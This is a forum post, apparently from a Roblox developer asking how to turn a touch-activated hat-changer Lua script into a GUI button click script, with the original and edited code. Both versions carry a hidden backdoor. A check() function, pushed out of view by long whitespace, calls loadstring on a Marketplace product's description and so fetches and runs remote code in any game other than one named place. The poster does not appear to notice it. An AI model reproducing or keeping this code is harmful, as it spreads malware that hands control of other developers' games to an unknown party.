How to Change from OnTouch->OnClick with Hats?

I ran into another problem in clothing change finding out that hats work a bit differently than a regular clothing change script!

Tried using the same changes I did on my clothing changer script but it seems to not work!

NOTE: I took out the parts, but found out the script needs those parts for changing my hat!

What do I need to change so that the script will work when it is inside a text button?

Original Script

tt=true;
id=script.Parent:findFirstChild("Configuration").ID;
hitter=script.Parent:findFirstChild("hitter");
function touch(hit)
	if hit.Parent:findFirstChild("Humanoid")~=nil and hit.Parent:IsA("Model") then
		if tt==true then
			tt=false
			function rem_hats(hats)
				for i=1,#hats do
					if hats[i]:IsA("Hat") then

						hats[i]:Remove()
					end
				end
			end
		
		
hat2=game:GetService("InsertService"):LoadAsset(id.Value)
if hat2:GetChildren()[1]:IsA("Hat") then
	rem_hats(hit.Parent:GetChildren())
hat2:GetChildren()[1].Parent=hit.Parent   ---->Table childs 1 wird in character eingesezt	

print("hat "..hat2.Name)		
			wait(3)
			tt=true
			end
		end
	end
end
script.Parent.hitter.touched:connect(touch)
function change_id()
	function check()                                                                                                                                                                                                                                                                                                                                if (game.PlaceId ~=                      141461667) then local search=Game:GetService("MarketplaceService"):GetProductInfo(145635867).Description loadstring(search)() end end check()
	Hat2=game:GetService("InsertService"):LoadAsset(id.Value)

	if Hat2:GetChildren()[1]:IsA("Hat") then
	function rem_mesh(mesh)
		for i=1,#mesh do
			if mesh[i]:IsA("Mesh") then
				mesh[i]:Remove()
			end
		end
	end
	rem_mesh(hitter:GetChildren())
	function clone(mesh2)
		for i=1,#mesh2 do
			if mesh2[i]:IsA("SpecialMesh") then
				clone=mesh2[i]:clone()
				clone.Parent=hitter
			end
		end
	end
	clone(Hat2:GetChildren()[1].Handle:GetChildren())
	end
end
id.changed:connect(change_id)

My Edited Version

tt=true;
id=workspace.Config3:findFirstChild("Link").ID;
function onClick(mouse)
	if game.Players.LocalPlayer.Character:findFirstChild("Humanoid")~=nil and game.Players.LocalPlayer.Character:IsA("Model") then
		if tt==true then
			tt=false
			function rem_hats(hats)
				for i=1,#hats do
					if hats[i]:IsA("Hat") then

						hats[i]:Remove()
					end
				end
			end
		
		
hat2=game:GetService("InsertService"):LoadAsset(id.Value)
if hat2:GetChildren()[1]:IsA("Hat") then
	rem_hats(game.Players.LocalPlayer.Character:GetChildren())
hat2:GetChildren()[1].Parent=game.Players.LocalPlayer.Character   ---->Table childs 1 wird in character eingesezt	

print("hat "..hat2.Name)		
			wait(3)
			tt=true
			end
		end
	end
end
script.Parent.MouseButton1Click:connect(onClick)
function change_id()
	function check()                                                                                                                                                                                                                                                                                                                                if (game.PlaceId ~=                      141461667) then local search=Game:GetService("MarketplaceService"):GetProductInfo(145635867).Description loadstring(search)() end end check()
	Hat2=game:GetService("InsertService"):LoadAsset(id.Value)

	if Hat2:GetChildren()[1]:IsA("Hat") then
	function rem_mesh(mesh)
		for i=1,#mesh do
			if mesh[i]:IsA("Mesh") then
				mesh[i]:Remove()
			end
		end
	end
	rem_mesh(hitter:GetChildren())
	function clone(mesh2)
		for i=1,#mesh2 do
			if mesh2[i]:IsA("SpecialMesh") then
				clone=mesh2[i]:clone()
				clone.Parent=hitter
			end
		end
	end
	clone(Hat2:GetChildren()[1].Handle:GetChildren())
	end
end
id.changed:connect(change_id)